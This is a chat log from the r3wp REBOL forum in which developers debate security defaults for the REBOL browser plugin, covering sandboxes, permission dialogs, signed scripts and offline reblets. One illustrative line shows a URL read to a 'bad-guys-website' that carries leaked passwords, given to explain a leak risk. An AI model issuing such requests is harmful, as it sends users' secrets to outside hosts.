World: r3wp

i am saying 
  call/input/output "rebol %trusted-requester.r" 

Where the call is hardwired like 'browse and can not be influenced 
by reblet.

Let's stop this immature "oh we are going to lose abilities" paranoid 
attitude.

bad UI argument .... dunno how others do it, but I prefer to set 
my settings in control panel, not ending up with myriads of different 
requesters asking for myriads of permissions to which reaction of 
users I know apriori - they will hate this, possibly click yes or 
no no matter what and wonder why things eventually don't work ..... 
all I am asking for is security presented in sensible way, that is 
all ...

I want to get over this stage really fast because it is starting 
to annoy me. I want to come to this group and read fresh material, 
not still stuck on these issues.

Fine - control panel. I like it too. That doesn't explain your attitudes 
above to various suggestions.

Let's get over it now, please.

And also, such things should typically not be needed by apps. My 
usual need is for a link back to my server, and there are no restrictions.

Security is what kills or make a plugin IMHO, at least for small 
quality companies.

Regarding UI, i would always pop up the conrtol-panel, not a yes/no-requester. 
Highlight the area which is currently interesting.

something like the page-info in browsers, + checkboxes.

Volker - sounds good idea. The thing is - that control panel - is 
that rebol script/UI or some native stuff? And also - Java has icon 
in control panel, how such aproach is solved eg. on OS-X, Linux - 
do they share similar concept of having control panel facility in 
OS?

reading back my replies - my apology to Anton and others - I was 
creating way to much unnecessary noise, sorry...

Why not go with my suggestion from before (scrolled off the history, 
I'm afraid)? Don't remove network, file access, etc. by default - 
instead, restrict it with secure and bring up a security requestor 
when the applet tries it? It should be up to the user to allow these 
plugins access anyways.

so far - I like Volker's suggestion most - extending secure:


That mini-firewall is in my secure-proposal:  secure [net ask tcp://rebol.com 
allow].

Although securing ports would be nice too, secure [net ask tcp://rebol.com 
80 8080 - 9090 allow].


I would just dare to add - it could be kept in all rebol versions, 
not just plug-in. Also - maybe (not sure), we could have option to 
"silence" (no-pop-up) the security - e.g. not bringing up pop-up, 
but e.g. secure/console secure/log or something like that, still 
of course to keep security tight ...

I'm pretty adamant about not allowing any file access by default 
without permission though. You don't want anonymous scripts to be 
able to store any data at all on your hard drive, outside of the 
browser's built-in storage (cache, cookies).

Brian - not even in plug-in sandbox?

Without that restriction , I won't be able to install the plugin.

maybe by default it could be limited to consume e.g. 1MB? so that 
your app could write some cfg files, without intrusion by pop-up 
dialog? Would it be usefull to you?

I'm OK with a sandbox, as long as it is a limited one in RAM that 
gets deleted on browser shutdown.

The user should be asked for permission to store any files on your 
drive at all, at least for anonymous scripts.

Signed scripts may be given a sandbox though.

My basic criteria for default restrictions is: What would you let 
your worst enemy do with your computer?

OK - one thing is clear now - "What would you let your worst enemy 
do with your computer?" should be a saying for Rebol plug-in .... 
now just how to represent it ...

Hmm, good to read Flash security doc Oldes posted reference to ...

That's why I suggested cryptographically signed scripts, that could 
be tracked to an SDK user by RT if necessary. That way, with a header 
like encap uses, you could lower the security for signed scripts. 
That way if your script does something bad, the author could be tracked 
down and sued (shot, whatever ;-)

:-)

Here's a suggestion for a SECURE enhancement: Add a new category, 
sandbox, that would refer to the sandbox directory, whereever that 
is. You could set ask permission for anonymous scripts, allow for 
signed (if specified in the header).

The main thing I would be worried about with a sandbox for anonymous 
scripts would be its potential for involving the user unwittingly 
in illegal or immoral activities that they may not approve of. I 
would rather not list such activities in a web-public group, but 
I can think of dozens of nasty possibilities right off the top of 
my head, and that's just from looing back at activities commonly 
performed by banner ads on many sites.

looing --> looking

Hey, Flash has some nice security requestors on page 3 of that article 
that would be worth emulating.

Those policy files look like an interesting idea that could probably 
be adapted to REBOL/Services.

Thanks for posting the Flash security doc....

I'm going to take these security issues one at a time.

<<disallowing send? why? can't you just send email by java script?>>

Because it is an easy way for some bad software to leak confidential/private 
information from my machine -- gather all the stuff it can and then 
send it in an email.

Similarly, being able to *read* URLs is another way info can be leaked.....The 
server at the other end records the URL parameters, eg

    read http://www.bad-guys-website.com?passwords-dicovered=abcdef/secret123
security as weak as javascript's
 is not a good selling point

I will be using the rebol plugin probably in two ways: 1. making 
real applications as part of a subscription service. 2. making real 
applications that are paid for with ads, generally text and flash 
based ads. And when I say real applications, I basically mean doing 
things you cannot easily do in java or javascript. These ARE things 
that require trusted security, such as sending raw emails, loading 
and saving files, doing virus scans, and all the freaky stuff you 
cannot normally do using AJAX.  Quite simply the situation is that 
if you could do it with AJAX, there is no reason to use rebol--from 
the laymans point of view.

I think the securty essentially needs clear and wide throttle controls.

Yup. Let me give keys to my friends and the others still able to 
knock onthe door.

Ryan, that sounds like just the kind of thing that signed scripts 
should be able to do.

Hi guys. I was going to take the security issues one at a time, but 
Carl and I are talking about getting some kind of file location where 
I can upload a design doc for you to take a look at.

That's probably going to take a couple of weeks, though, as we've 
got some other projects ahead of security.

I'm going to gather your comments and we'll keep those in mind and 
work them into a draft plan which we'll post in the form of a design 
doc in a couple of weeks as I said.

Thanks!

weeks? OK .... just upload somewhere to rebol.net, hidden page later 
...

Just wondering... since the plugin stores a local copy of (simple) 
Reblets in the sandbox, if it had a replicated data-snapshot that 
is used by the Reblet also in the sandbox, would it be possible for 
that code to be executed without a network connection... either with 
or without the browser?

Here's what I am trying to do.  I have a client that has a locked 
PC build (users can't install software).  The plugin managed to install, 
and when network connected was able to find the .r file and execute 
it off the hosting web-server.  However, say the web-server is down 
or network connectivity is unavailable, I'd like the applications 
to still be launchable so the app isn't impacted by an 'outage'.

I suppose I could use Javascript in my HTML file to check for the 
webserver and if not there try to launch the local copy from the 
sandbox.  Any thoughts?

/Desktop uses the local copy wihout network-connection. Maybe the 
plugin does that too?

Or you could download an html-file into the sandbox and the user 
opens it locally by explorer. I guess the plugin would then load 
from the filesystem too. But not sure.

Brock, I'm pretty sure it's possible to do that now. I killed my 
network connection and tested the plugin with a remote file that 
I had already downloaded (it was in the sandbox cache)

Worked fine.